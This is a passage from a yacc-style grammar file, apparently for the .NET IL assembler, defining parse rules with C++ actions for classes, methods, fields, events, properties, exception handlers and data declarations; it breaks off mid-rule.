if(PASM->m_tkCurrentCVOwner) PASM->DefineCV(PASM->m_tkCurrentCVOwner, $2, NULL); else if(PASM->m_pCustomDescrList) PASM->m_pCustomDescrList->PUSH(new CustomDescr($2, NULL)); } | _CUSTOM customType '=' compQstring { if(PASM->m_tkCurrentCVOwner) PASM->DefineCV(PASM->m_tkCurrentCVOwner, $2, $4); else if(PASM->m_pCustomDescrList) PASM->m_pCustomDescrList->PUSH(new CustomDescr($2, $4)); } | customHead bytes ')' { if(PASM->m_tkCurrentCVOwner) PASM->DefineCV(PASM->m_tkCurrentCVOwner, $1, $2); else if(PASM->m_pCustomDescrList) PASM->m_pCustomDescrList->PUSH(new CustomDescr($1, $2)); } | _CUSTOM '(' ownerType ')' customType { PASM->DefineCV($3, $5, NULL); } | _CUSTOM '(' ownerType ')' customType '=' compQstring { PASM->DefineCV($3, $5, $7); } | customHeadWithOwner bytes ')' { PASM->DefineCV(PASM->m_tkCurrentCVOwner, $1, $2); } ; moduleHead : _MODULE { PASMM->SetModuleName(NULL); PASM->m_tkCurrentCVOwner=1; } | _MODULE name1 { PASMM->SetModuleName($2); PASM->m_tkCurrentCVOwner=1; } | _MODULE EXTERN_ name1 { BinStr* pbs = new BinStr(); strcpy((char*)(pbs->getBuff((unsigned)strlen($3)+1)),$3); PASM->EmitImport(pbs); delete pbs;} ; vtfixupDecl : _VTFIXUP '[' int32 ']' vtfixupAttr AT_ id { /*PASM->SetDataSection(); PASM->EmitDataLabel($7);*/ PASM->m_VTFList.PUSH(new VTFEntry((USHORT)$3, (USHORT)$5, $7)); } ; vtfixupAttr : /* EMPTY */ { $$ = 0; } | vtfixupAttr INT32_ { $$ = $1 | COR_VTABLE_32BIT; } | vtfixupAttr INT64_ { $$ = $1 | COR_VTABLE_64BIT; } | vtfixupAttr FROMUNMANAGED_ { $$ = $1 | COR_VTABLE_FROM_UNMANAGED; } | vtfixupAttr RETAINAPPDOMAIN_ { $$ = $1 | COR_VTABLE_FROM_UNMANAGED_RETAIN_APPDOMAIN; } | vtfixupAttr CALLMOSTDERIVED_ { $$ = $1 | COR_VTABLE_CALL_MOST_DERIVED; } ; vtableDecl : vtableHead bytes ')' { PASM->m_pVTable = $2; } ; vtableHead : _VTABLE '=' '(' { bParsingByteArray = TRUE; } ; nameSpaceHead : _NAMESPACE name1 { PASM->StartNameSpace($2); } ; classHead : _CLASS classAttr id extendsClause implClause { PASM->StartClass($3, $2); } ; classAttr : /* EMPTY */ { $$ = (CorRegTypeAttr) 0; } | classAttr PUBLIC_ { $$ = (CorRegTypeAttr) (($1 & ~tdVisibilityMask) | tdPublic); } | classAttr PRIVATE_ { $$ = (CorRegTypeAttr) (($1 & ~tdVisibilityMask) | tdNotPublic); } | classAttr VALUE_ { $$ = (CorRegTypeAttr) ($1 | 0x80000000); } | classAttr ENUM_ { $$ = (CorRegTypeAttr) ($1 | 0x40000000); } | classAttr INTERFACE_ { $$ = (CorRegTypeAttr) ($1 | tdInterface | tdAbstract); } | classAttr SEALED_ { $$ = (CorRegTypeAttr) ($1 | tdSealed); } | classAttr ABSTRACT_ { $$ = (CorRegTypeAttr) ($1 | tdAbstract); } | classAttr AUTO_ { $$ = (CorRegTypeAttr) (($1 & ~tdLayoutMask) | tdAutoLayout); } | classAttr SEQUENTIAL_ { $$ = (CorRegTypeAttr) (($1 & ~tdLayoutMask) | tdSequentialLayout); } | classAttr EXPLICIT_ { $$ = (CorRegTypeAttr) (($1 & ~tdLayoutMask) | tdExplicitLayout); } | classAttr ANSI_ { $$ = (CorRegTypeAttr) (($1 & ~tdStringFormatMask) | tdAnsiClass); } | classAttr UNICODE_ { $$ = (CorRegTypeAttr) (($1 & ~tdStringFormatMask) | tdUnicodeClass); } | classAttr AUTOCHAR_ { $$ = (CorRegTypeAttr) (($1 & ~tdStringFormatMask) | tdAutoClass); } | classAttr IMPORT_ { $$ = (CorRegTypeAttr) ($1 | tdImport); } | classAttr SERIALIZABLE_ { $$ = (CorRegTypeAttr) ($1 | tdSerializable); } | classAttr NESTED_ PUBLIC_ { $$ = (CorRegTypeAttr) (($1 & ~tdVisibilityMask) | tdNestedPublic); } | classAttr NESTED_ PRIVATE_ { $$ = (CorRegTypeAttr) (($1 & ~tdVisibilityMask) | tdNestedPrivate); } | classAttr NESTED_ FAMILY_ { $$ = (CorRegTypeAttr) (($1 & ~tdVisibilityMask) | tdNestedFamily); } | classAttr NESTED_ ASSEMBLY_ { $$ = (CorRegTypeAttr) (($1 & ~tdVisibilityMask) | tdNestedAssembly); } | classAttr NESTED_ FAMANDASSEM_ { $$ = (CorRegTypeAttr) (($1 & ~tdVisibilityMask) | tdNestedFamANDAssem); } | classAttr NESTED_ FAMORASSEM_ { $$ = (CorRegTypeAttr) (($1 & ~tdVisibilityMask) | tdNestedFamORAssem); } | classAttr BEFOREFIELDINIT_ { $$ = (CorRegTypeAttr) ($1 | tdBeforeFieldInit); } | classAttr SPECIALNAME_ { $$ = (CorRegTypeAttr) ($1 | tdSpecialName); } | classAttr RTSPECIALNAME_ { $$ = (CorRegTypeAttr) ($1); } ; extendsClause : /* EMPTY */ | EXTENDS_ className { strcpy(PASM->m_szExtendsClause,$2); } ; implClause : /* EMPTY */ | IMPLEMENTS_ classNames ; classNames : classNames ',' className { PASM->AddToImplList($3); } | className { PASM->AddToImplList($1); } ; classDecls : /* EMPTY */ | classDecls classDecl ; classDecl : methodHead methodDecls '}' { if(PASM->m_pCurMethod->m_ulLines[1] ==0) { PASM->m_pCurMethod->m_ulLines[1] = PASM->m_ulCurLine; PASM->m_pCurMethod->m_ulColumns[1]=PASM->m_ulCurColumn;} PASM->EndMethod(); } | classHead '{' classDecls '}' { PASM->EndClass(); } | eventHead '{' eventDecls '}' { PASM->EndEvent(); } | propHead '{' propDecls '}' { PASM->EndProp(); } | fieldDecl | dataDecl | secDecl | extSourceSpec | customAttrDecl | _SIZE int32 { PASM->m_pCurClass->m_ulSize = $2; } | _PACK int32 { PASM->m_pCurClass->m_ulPack = $2; } | exportHead '{' comtypeDecls '}' { PASMM->EndComType(); } | _OVERRIDE typeSpec DCOLON methodName WITH_ callConv type typeSpec DCOLON methodName '(' sigArgs0 ')' { PASM->AddMethodImpl($2,$4,parser->MakeSig($6,$7,$12),$8,$10); } | languageDecl ; fieldDecl : _FIELD repeatOpt fieldAttr type id atOpt initOpt { $4->insertInt8(IMAGE_CEE_CS_CALLCONV_FIELD); PASM->AddField($5, $4, $3, $6, $7, $2); } ; atOpt : /* EMPTY */ { $$ = 0; } | AT_ id { $$ = $2; } ; initOpt : /* EMPTY */ { $$ = NULL; } | '=' fieldInit { $$ = $2; } ; repeatOpt : /* EMPTY */ { $$ = 0xFFFFFFFF; } | '[' int32 ']' { $$ = $2; } ; customHead : _CUSTOM customType '=' '(' { $$ = $2; bParsingByteArray = TRUE; } ; customHeadWithOwner : _CUSTOM '(' ownerType ')' customType '=' '(' { PASM->m_pCustomDescrList = NULL; PASM->m_tkCurrentCVOwner = $3; $$ = $5; bParsingByteArray = TRUE; } ; memberRef : methodSpec callConv type typeSpec DCOLON methodName '(' sigArgs0 ')' { $$ = PASM->MakeMemberRef($4, $6, parser->MakeSig($2, $3, $8),iOpcodeLen); delete PASM->m_firstArgName; PASM->m_firstArgName = palDummy; } | methodSpec callConv type methodName '(' sigArgs0 ')' { $$ = PASM->MakeMemberRef(NULL, $4, parser->MakeSig($2, $3, $6),iOpcodeLen); delete PASM->m_firstArgName; PASM->m_firstArgName = palDummy; } | FIELD_ type typeSpec DCOLON id { $2->insertInt8(IMAGE_CEE_CS_CALLCONV_FIELD); $$ = PASM->MakeMemberRef($3, $5, $2, 0); } | FIELD_ type id { $2->insertInt8(IMAGE_CEE_CS_CALLCONV_FIELD); $$ = PASM->MakeMemberRef(NULL, $3, $2, 0); } ; customType : callConv type typeSpec DCOLON _CTOR '(' sigArgs0 ')' { $$ = PASM->MakeMemberRef($3, newString(COR_CTOR_METHOD_NAME), parser->MakeSig($1, $2, $7),0); } | callConv type _CTOR '(' sigArgs0 ')' { $$ = PASM->MakeMemberRef(NULL, newString(COR_CTOR_METHOD_NAME), parser->MakeSig($1, $2, $5),0); } ; ownerType : typeSpec { $$ = PASM->MakeTypeRef($1); } | memberRef { $$ = $1; } ; eventHead : _EVENT eventAttr typeSpec id { PASM->ResetEvent($4, $3, $2); } | _EVENT eventAttr id { PASM->ResetEvent($3, NULL, $2); } ; eventAttr : /* EMPTY */ { $$ = (CorEventAttr) 0; } | eventAttr RTSPECIALNAME_ { $$ = $1; }/*{ $$ = (CorEventAttr) ($1 | evRTSpecialName); }*/ | eventAttr SPECIALNAME_ { $$ = (CorEventAttr) ($1 | evSpecialName); } ; eventDecls : /* EMPTY */ | eventDecls eventDecl ; eventDecl : _ADDON callConv type typeSpec DCOLON methodName '(' sigArgs0 ')' { PASM->SetEventMethod(0, $4, $6, parser->MakeSig($2, $3, $8)); } | _ADDON callConv type methodName '(' sigArgs0 ')' { PASM->SetEventMethod(0, NULL, $4, parser->MakeSig($2, $3, $6)); } | _REMOVEON callConv type typeSpec DCOLON methodName '(' sigArgs0 ')' { PASM->SetEventMethod(1, $4, $6, parser->MakeSig($2, $3, $8)); } | _REMOVEON callConv type methodName '(' sigArgs0 ')' { PASM->SetEventMethod(1, NULL, $4, parser->MakeSig($2, $3, $6)); } | _FIRE callConv type typeSpec DCOLON methodName '(' sigArgs0 ')' { PASM->SetEventMethod(2, $4, $6, parser->MakeSig($2, $3, $8)); } | _FIRE callConv type methodName '(' sigArgs0 ')' { PASM->SetEventMethod(2, NULL, $4, parser->MakeSig($2, $3, $6)); } | _OTHER callConv type typeSpec DCOLON methodName '(' sigArgs0 ')' { PASM->SetEventMethod(3, $4, $6, parser->MakeSig($2, $3, $8)); } | _OTHER callConv type methodName '(' sigArgs0 ')' { PASM->SetEventMethod(3, NULL, $4, parser->MakeSig($2, $3, $6)); } | extSourceSpec | customAttrDecl | languageDecl ; propHead : _PROPERTY propAttr callConv type name1 '(' sigArgs0 ')' initOpt { PASM->ResetProp($5, parser->MakeSig((IMAGE_CEE_CS_CALLCONV_PROPERTY | ($3 & IMAGE_CEE_CS_CALLCONV_HASTHIS)),$4,$7), $2, $9); } ; propAttr : /* EMPTY */ { $$ = (CorPropertyAttr) 0; } | propAttr RTSPECIALNAME_ { $$ = $1; }/*{ $$ = (CorPropertyAttr) ($1 | prRTSpecialName); }*/ | propAttr SPECIALNAME_ { $$ = (CorPropertyAttr) ($1 | prSpecialName); } ; propDecls : /* EMPTY */ | propDecls propDecl ; propDecl : _SET callConv type typeSpec DCOLON methodName '(' sigArgs0 ')' { PASM->SetPropMethod(0, $4, $6, parser->MakeSig($2, $3, $8)); } | _SET callConv type methodName '(' sigArgs0 ')' { PASM->SetPropMethod(0, NULL, $4, parser->MakeSig($2, $3, $6)); } | _GET callConv type typeSpec DCOLON methodName '(' sigArgs0 ')' { PASM->SetPropMethod(1, $4, $6, parser->MakeSig($2, $3, $8)); } | _GET callConv type methodName '(' sigArgs0 ')' { PASM->SetPropMethod(1, NULL, $4, parser->MakeSig($2, $3, $6)); } | _OTHER callConv type typeSpec DCOLON methodName '(' sigArgs0 ')' { PASM->SetPropMethod(2, $4, $6, parser->MakeSig($2, $3, $8)); } | _OTHER callConv type methodName '(' sigArgs0 ')' { PASM->SetPropMethod(2, NULL, $4, parser->MakeSig($2, $3, $6)); } | customAttrDecl | extSourceSpec | languageDecl ; methodHeadPart1 : _METHOD { PASM->ResetForNextMethod(); uMethodBeginLine = PASM->m_ulCurLine; uMethodBeginColumn=PASM->m_ulCurColumn;} ; methodHead : methodHeadPart1 methAttr callConv paramAttr type methodName '(' sigArgs0 ')' implAttr '{' { PASM->StartMethod($6, parser->MakeSig($3, $5, $8), $2, NULL, $4); PASM->SetImplAttr((USHORT)$10); PASM->m_pCurMethod->m_ulLines[0] = uMethodBeginLine; PASM->m_pCurMethod->m_ulColumns[0]=uMethodBeginColumn; } | methodHeadPart1 methAttr callConv paramAttr type MARSHAL_ '(' nativeType ')' methodName '(' sigArgs0 ')' implAttr '{' { PASM->StartMethod($10, parser->MakeSig($3, $5, $12), $2, $8, $4); PASM->SetImplAttr((USHORT)$14); PASM->m_pCurMethod->m_ulLines[0] = uMethodBeginLine; PASM->m_pCurMethod->m_ulColumns[0]=uMethodBeginColumn; } ; methAttr : /* EMPTY */ { $$ = (CorMethodAttr) 0; } | methAttr STATIC_ { $$ = (CorMethodAttr) ($1 | mdStatic); } | methAttr PUBLIC_ { $$ = (CorMethodAttr) (($1 & ~mdMemberAccessMask) | mdPublic); } | methAttr PRIVATE_ { $$ = (CorMethodAttr) (($1 & ~mdMemberAccessMask) | mdPrivate); } | methAttr FAMILY_ { $$ = (CorMethodAttr) (($1 & ~mdMemberAccessMask) | mdFamily); } | methAttr FINAL_ { $$ = (CorMethodAttr) ($1 | mdFinal); } | methAttr SPECIALNAME_ { $$ = (CorMethodAttr) ($1 | mdSpecialName); } | methAttr VIRTUAL_ { $$ = (CorMethodAttr) ($1 | mdVirtual); } | methAttr ABSTRACT_ { $$ = (CorMethodAttr) ($1 | mdAbstract); } | methAttr ASSEMBLY_ { $$ = (CorMethodAttr) (($1 & ~mdMemberAccessMask) | mdAssem); } | methAttr FAMANDASSEM_ { $$ = (CorMethodAttr) (($1 & ~mdMemberAccessMask) | mdFamANDAssem); } | methAttr FAMORASSEM_ { $$ = (CorMethodAttr) (($1 & ~mdMemberAccessMask) | mdFamORAssem); } | methAttr PRIVATESCOPE_ { $$ = (CorMethodAttr) (($1 & ~mdMemberAccessMask) | mdPrivateScope); } | methAttr HIDEBYSIG_ { $$ = (CorMethodAttr) ($1 | mdHideBySig); } | methAttr NEWSLOT_ { $$ = (CorMethodAttr) ($1 | mdNewSlot); } | methAttr STRICT_ { $$ = (CorMethodAttr) ($1 | 0x0200); } | methAttr RTSPECIALNAME_ { $$ = $1; }/*{ $$ = (CorMethodAttr) ($1 | mdRTSpecialName); }*/ | methAttr UNMANAGEDEXP_ { $$ = (CorMethodAttr) ($1 | mdUnmanagedExport); } | methAttr REQSECOBJ_ { $$ = (CorMethodAttr) ($1 | mdRequireSecObject); } | methAttr PINVOKEIMPL_ '(' compQstring AS_ compQstring pinvAttr ')' { PASM->SetPinvoke($4,0,$6,$7); $$ = (CorMethodAttr) ($1 | mdPinvokeImpl); } | methAttr PINVOKEIMPL_ '(' compQstring pinvAttr ')' { PASM->SetPinvoke($4,0,NULL,$5); $$ = (CorMethodAttr) ($1 | mdPinvokeImpl); } | methAttr PINVOKEIMPL_ '(' pinvAttr ')' { PASM->SetPinvoke(new BinStr(),0,NULL,$4); $$ = (CorMethodAttr) ($1 | mdPinvokeImpl); } ; pinvAttr : /* EMPTY */ { $$ = (CorPinvokeMap) 0; } | pinvAttr NOMANGLE_ { $$ = (CorPinvokeMap) ($1 | pmNoMangle); } | pinvAttr ANSI_ { $$ = (CorPinvokeMap) ($1 | pmCharSetAnsi); } | pinvAttr UNICODE_ { $$ = (CorPinvokeMap) ($1 | pmCharSetUnicode); } | pinvAttr AUTOCHAR_ { $$ = (CorPinvokeMap) ($1 | pmCharSetAuto); } | pinvAttr LASTERR_ { $$ = (CorPinvokeMap) ($1 | pmSupportsLastError); } | pinvAttr WINAPI_ { $$ = (CorPinvokeMap) ($1 | pmCallConvWinapi); } | pinvAttr CDECL_ { $$ = (CorPinvokeMap) ($1 | pmCallConvCdecl); } | pinvAttr STDCALL_ { $$ = (CorPinvokeMap) ($1 | pmCallConvStdcall); } | pinvAttr THISCALL_ { $$ = (CorPinvokeMap) ($1 | pmCallConvThiscall); } | pinvAttr FASTCALL_ { $$ = (CorPinvokeMap) ($1 | pmCallConvFastcall); } | pinvAttr BESTFIT_ ':' ON_ { $$ = (CorPinvokeMap) ($1 | pmBestFitEnabled); } | pinvAttr BESTFIT_ ':' OFF_ { $$ = (CorPinvokeMap) ($1 | pmBestFitDisabled); } | pinvAttr CHARMAPERROR_ ':' ON_ { $$ = (CorPinvokeMap) ($1 | pmThrowOnUnmappableCharEnabled); } | pinvAttr CHARMAPERROR_ ':' OFF_ { $$ = (CorPinvokeMap) ($1 | pmThrowOnUnmappableCharDisabled); } ; methodName : _CTOR { $$ = newString(COR_CTOR_METHOD_NAME); } | _CCTOR { $$ = newString(COR_CCTOR_METHOD_NAME); } | name1 { $$ = $1; } ; paramAttr : /* EMPTY */ { $$ = 0; } | paramAttr '[' IN_ ']' { $$ = $1 | pdIn; } | paramAttr '[' OUT_ ']' { $$ = $1 | pdOut; } | paramAttr '[' OPT_ ']' { $$ = $1 | pdOptional; } | paramAttr '[' int32 ']' { $$ = $3 + 1; } ; fieldAttr : /* EMPTY */ { $$ = (CorFieldAttr) 0; } | fieldAttr STATIC_ { $$ = (CorFieldAttr) ($1 | fdStatic); } | fieldAttr PUBLIC_ { $$ = (CorFieldAttr) (($1 & ~mdMemberAccessMask) | fdPublic); } | fieldAttr PRIVATE_ { $$ = (CorFieldAttr) (($1 & ~mdMemberAccessMask) | fdPrivate); } | fieldAttr FAMILY_ { $$ = (CorFieldAttr) (($1 & ~mdMemberAccessMask) | fdFamily); } | fieldAttr INITONLY_ { $$ = (CorFieldAttr) ($1 | fdInitOnly); } | fieldAttr RTSPECIALNAME_ { $$ = $1; } /*{ $$ = (CorFieldAttr) ($1 | fdRTSpecialName); }*/ | fieldAttr SPECIALNAME_ { $$ = (CorFieldAttr) ($1 | fdSpecialName); } /* commented out because PInvoke for fields is not supported by EE | fieldAttr PINVOKEIMPL_ '(' compQstring AS_ compQstring pinvAttr ')' { $$ = (CorFieldAttr) ($1 | fdPinvokeImpl); PASM->SetPinvoke($4,0,$6,$7); } | fieldAttr PINVOKEIMPL_ '(' compQstring pinvAttr ')' { $$ = (CorFieldAttr) ($1 | fdPinvokeImpl); PASM->SetPinvoke($4,0,NULL,$5); } | fieldAttr PINVOKEIMPL_ '(' pinvAttr ')' { PASM->SetPinvoke(new BinStr(),0,NULL,$4); $$ = (CorFieldAttr) ($1 | fdPinvokeImpl); } */ | fieldAttr MARSHAL_ '(' nativeType ')' { PASM->m_pMarshal = $4; } | fieldAttr ASSEMBLY_ { $$ = (CorFieldAttr) (($1 & ~mdMemberAccessMask) | fdAssembly); } | fieldAttr FAMANDASSEM_ { $$ = (CorFieldAttr) (($1 & ~mdMemberAccessMask) | fdFamANDAssem); } | fieldAttr FAMORASSEM_ { $$ = (CorFieldAttr) (($1 & ~mdMemberAccessMask) | fdFamORAssem); } | fieldAttr PRIVATESCOPE_ { $$ = (CorFieldAttr) (($1 & ~mdMemberAccessMask) | fdPrivateScope); } | fieldAttr LITERAL_ { $$ = (CorFieldAttr) ($1 | fdLiteral); } | fieldAttr NOTSERIALIZED_ { $$ = (CorFieldAttr) ($1 | fdNotSerialized); } ; implAttr : /* EMPTY */ { $$ = (CorMethodImpl) (miIL | miManaged); } | implAttr NATIVE_ { $$ = (CorMethodImpl) (($1 & 0xFFF4) | miNative); } | implAttr CIL_ { $$ = (CorMethodImpl) (($1 & 0xFFF4) | miIL); } | implAttr OPTIL_ { $$ = (CorMethodImpl) (($1 & 0xFFF4) | miOPTIL); } | implAttr MANAGED_ { $$ = (CorMethodImpl) (($1 & 0xFFFB) | miManaged); } | implAttr UNMANAGED_ { $$ = (CorMethodImpl) (($1 & 0xFFFB) | miUnmanaged); } | implAttr FORWARDREF_ { $$ = (CorMethodImpl) ($1 | miForwardRef); } | implAttr PRESERVESIG_ { $$ = (CorMethodImpl) ($1 | miPreserveSig); } | implAttr RUNTIME_ { $$ = (CorMethodImpl) ($1 | miRuntime); } | implAttr INTERNALCALL_ { $$ = (CorMethodImpl) ($1 | miInternalCall); } | implAttr SYNCHRONIZED_ { $$ = (CorMethodImpl) ($1 | miSynchronized); } | implAttr NOINLINING_ { $$ = (CorMethodImpl) ($1 | miNoInlining); } ; localsHead : _LOCALS { PASM->delArgNameList(PASM->m_firstArgName); PASM->m_firstArgName = NULL; } ; methodDecl : _EMITBYTE int32 { char c = (char)$2; PASM->EmitByte($2); } | sehBlock { delete PASM->m_SEHD; PASM->m_SEHD = PASM->m_SEHDstack.POP(); } | _MAXSTACK int32 { PASM->EmitMaxStack($2); } | localsHead '(' sigArgs0 ')' { PASM->EmitLocals(parser->MakeSig(IMAGE_CEE_CS_CALLCONV_LOCAL_SIG, 0, $3)); } | localsHead INIT_ '(' sigArgs0 ')' { PASM->EmitZeroInit(); PASM->EmitLocals(parser->MakeSig(IMAGE_CEE_CS_CALLCONV_LOCAL_SIG, 0, $4)); } | _ENTRYPOINT { PASM->EmitEntryPoint(); } | _ZEROINIT { PASM->EmitZeroInit(); } | dataDecl | instr | id ':' { PASM->EmitLabel($1); } | secDecl | extSourceSpec | languageDecl | customAttrDecl | _EXPORT '[' int32 ']' { if(PASM->m_pCurMethod->m_dwExportOrdinal == 0xFFFFFFFF) PASM->m_pCurMethod->m_dwExportOrdinal = $3; else PASM->report->warn("Duplicate .export directive, ignored\n"); } | _EXPORT '[' int32 ']' AS_ id { if(PASM->m_pCurMethod->m_dwExportOrdinal == 0xFFFFFFFF) { PASM->m_pCurMethod->m_dwExportOrdinal = $3; PASM->m_pCurMethod->m_szExportAlias = $6; } else PASM->report->warn("Duplicate .export directive, ignored\n"); } | _VTENTRY int32 ':' int32 { PASM->m_pCurMethod->m_wVTEntry = (WORD)$2; PASM->m_pCurMethod->m_wVTSlot = (WORD)$4; } | _OVERRIDE typeSpec DCOLON methodName { PASM->AddMethodImpl($2,$4,NULL,NULL,NULL); } | scopeBlock | _PARAM '[' int32 ']' initOpt { if( $3 ) { ARG_NAME_LIST* pAN=PASM->findArg(PASM->m_pCurMethod->m_firstArgName, $3 - 1); if(pAN) { PASM->m_pCustomDescrList = &(pAN->CustDList); pAN->pValue = $5; } else { PASM->m_pCustomDescrList = NULL; if($5) delete $5; } } else { PASM->m_pCustomDescrList = &(PASM->m_pCurMethod->m_RetCustDList); PASM->m_pCurMethod->m_pRetValue = $5; } PASM->m_tkCurrentCVOwner = 0; } ; scopeBlock : scopeOpen methodDecls '}' { PASM->m_pCurMethod->CloseScope(); } ; scopeOpen : '{' { PASM->m_pCurMethod->OpenScope(); } ; sehBlock : tryBlock sehClauses ; sehClauses : sehClause sehClauses | sehClause ; tryBlock : tryHead scopeBlock { PASM->m_SEHD->tryTo = PASM->m_CurPC; } | tryHead id TO_ id { PASM->SetTryLabels($2, $4); } | tryHead int32 TO_ int32 { if(PASM->m_SEHD) {PASM->m_SEHD->tryFrom = $2; PASM->m_SEHD->tryTo = $4;} } ; tryHead : _TRY { PASM->NewSEHDescriptor(); PASM->m_SEHD->tryFrom = PASM->m_CurPC; } ; sehClause : catchClause handlerBlock { PASM->EmitTry(); } | filterClause handlerBlock { PASM->EmitTry(); } | finallyClause handlerBlock { PASM->EmitTry(); } | faultClause handlerBlock { PASM->EmitTry(); } ; filterClause : filterHead scopeBlock { PASM->m_SEHD->sehHandler = PASM->m_CurPC; } | filterHead id { PASM->SetFilterLabel($2); PASM->m_SEHD->sehHandler = PASM->m_CurPC; } | filterHead int32 { PASM->m_SEHD->sehFilter = $2; PASM->m_SEHD->sehHandler = PASM->m_CurPC; } ; filterHead : FILTER_ { PASM->m_SEHD->sehClause = COR_ILEXCEPTION_CLAUSE_FILTER; PASM->m_SEHD->sehFilter = PASM->m_CurPC; } ; catchClause : CATCH_ className { PASM->m_SEHD->sehClause = COR_ILEXCEPTION_CLAUSE_NONE; PASM->SetCatchClass($2); PASM->m_SEHD->sehHandler = PASM->m_CurPC; } ; finallyClause : FINALLY_ { PASM->m_SEHD->sehClause = COR_ILEXCEPTION_CLAUSE_FINALLY; PASM->m_SEHD->sehHandler = PASM->m_CurPC; } ; faultClause : FAULT_ { PASM->m_SEHD->sehClause = COR_ILEXCEPTION_CLAUSE_FAULT; PASM->m_SEHD->sehHandler = PASM->m_CurPC; } ; handlerBlock : scopeBlock { PASM->m_SEHD->sehHandlerTo = PASM->m_CurPC; } | HANDLER_ id TO_ id { PASM->SetHandlerLabels($2, $4); } | HANDLER_ int32 TO_ int32 { PASM->m_SEHD->sehHandler = $2; PASM->m_SEHD->sehHandlerTo = $4; } ; methodDecls : /* EMPTY */ | methodDecls methodDecl ; dataDecl : ddHead ddBody ; ddHead : _DATA tls id '=' { PASM->EmitDataLabel($3); } | _DATA tls ; tls : /* EMPTY */ { PASM->SetDataSection(); } | TLS_ { PASM->SetTLSSection(); } ; ddBody : '{' ddItemList '}' | ddItem ; ddItemList : ddItem ',' ddItemList | ddItem ; ddItemCount : /* EMPTY */ { $$ = 1; } | '[' int32 ']' { FAIL_UNLESS($2 > 0, ("Illegal item count: %d\n",$2)); $$ = $2; } ; ddItem : CHAR_ '*' '(' compQstring ')' { PASM->EmitDataString($4); } | '&' '(' id ')' { PASM->EmitDD($3); } | bytearrayhead bytes ')' { PASM->EmitData($2->ptr(),$2->length()); } | FLOAT32_ '(' float64 ')' ddItemCount { float f = (float) (*$3); float* pf = new float[$5]; for(int i=0; i < $5; i++) pf[i] = f; PASM->EmitData(pf, sizeof(float)*$5); delete $3; delete pf; } | FLOAT64_ '(' float64 ')' ddItemCount { double* pd = new double[$5]; for(int i=0; i<$5; i++) pd[i] = *($3); PASM->EmitData(pd, sizeof(double)*$5); delete $3; delete pd; } | INT64_ '(' int64 ')' ddItemCount { __int64* pll = new __int64[$5]; for(int i=0; i<$5; i++) pll[i] = *($3); PASM->EmitData(pll, sizeof(__int64)*$5); delete $3; delete pll; } | INT32_ '(' int32 ')' ddItemCount { __int32* pl = new __int32[$5]; for(int i=0; i<$5; i++) pl[i] = $3; PASM->EmitData(pl, sizeof(__int32)*$5); delete pl; } | INT16_ '(' int32 ')' ddItemCount { __int16 i = (__int16) $3; FAIL_UNLESS(i == $3, ("Value %d too big\n", $3)); __int16* ps = new __int16[$5]; for(int j=0; j<$5; j++) ps[j] = i; PASM->EmitData(ps, sizeof(__int16)*$5); delete ps; } | INT8_ '(' int32 ')' ddItemCount { __int8 i = (__int8) $3; FAIL_UNLESS(i == $3, ("Value %d too big\n", $3)); __int8* pb = new __int8[$5]; for(int j=0; j<$5; j++) pb[j] = i; PASM->EmitData(pb, sizeof(__int8)*$5); delete pb; } | FLOAT32_ ddItemCount { float* pf = new float[$2]; PASM->EmitData(pf, sizeof(float)*$2); delete pf; } | FLOAT64_ ddItemCount { double* pd = new double[$2]; PASM->EmitData(pd, sizeof(double)*$2); delete pd; } | INT64_ ddItemCount { __int64* pll = new __int64[$2]; PASM->EmitData(pll, sizeof(__int64)*$2); delete pll; } | INT32_ ddItemCount { __int32* pl = new __int32[$2]; PASM->EmitData(pl, sizeof(__int32)*$2); delete pl; } | INT16_ ddItemCount { __int16* ps = new __int16[$2]; PASM->EmitData(ps, sizeof(__int16)*$2); delete ps; } | INT8_ ddItemCount { __int8* pb = new __int8[$2]; PASM->EmitData(pb, sizeof(__int8)*$2); delete pb; } ; fieldInit : FLOAT32_ '(' float64 ')' { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_R4); float f = (float) (*$3); $$->appendInt32(*((int*)&f)); delete $3; } | FLOAT64_ '(' float64 ')' { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_R8); $$->appendInt64((__int64 *)$3); delete $3; } | FLOAT32_ '(' int64 ')' { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_R4); int f = *((int*)$3); $$->appendInt32(f); delete $3; } | FLOAT64_ '(' int64 ')' { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_R8); $$->appendInt64((__int64 *)$3); delete $3; } | INT64_ '(' int64 ')' { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_I8); $$->appendInt64((__int64 *)$3); delete $3; } | INT32_ '(' int64 ')' { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_I4); $$->appendInt32(*((__int32*)$3)); delete $3;} | INT16_ '(' int64 ')' { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_I2); $$->appendInt16(*((__int16*)$3)); delete $3;} | CHAR_ '(' int64 ')' { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_CHAR); $$->appendInt16((int)*((unsigned __int16*)$3)); delete $3;} | INT8_ '(' int64 ')' { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_I1); $$->appendInt8(*((__int8*)$3)); delete $3; } | BOOL_ '(' truefalse ')' { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_BOOLEAN); $$->appendInt8($3);} | compQstring { $$ = BinStrToUnicode($1); $$->insertInt8(ELEMENT_TYPE_STRING);} | bytearrayhead bytes ')' { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_STRING); $$->append($2); delete $2;} | NULLREF_ { $$ = new BinStr(); $$->appendInt8(ELEMENT_TYPE_CLASS); $$->appendInt32(0); } ; bytearrayhead : BYTEARRAY_ '(' { bParsingByteArray = TRUE; } ; bytes : /* EMPTY */ { $$ = new BinStr(); } | hexbytes { $$ = $1; } ; hexbytes : HEXBYTE { __int8 i = (__int8) $1; $$ = new BinStr(); $$->appendInt8(i); } | hexbytes HEXBYTE { __int8 i = (__int8) $2; $$ = $1; $$->appendInt8(i); } ; instr_r_head : INSTR_R '(' { $$ = $1; bParsingByteArray = TRUE; } ; instr_tok_head : INSTR_TOK { $$ = $1; iOpcodeLen = PASM->OpcodeLen($1); } ; methodSpec : METHOD_ { palDummy = PASM->m_firstArgName; PASM->m_firstArgName = NULL; } ; instr : INSTR_NONE { PASM->EmitOpcode($1); } | INSTR_VAR int32 { PASM->EmitInstrVar($1, $2); } | INSTR_VAR id { PASM->EmitInstrVarByName($1, $2); } | INSTR_I int32 { PASM->EmitInstrI($1, $2); 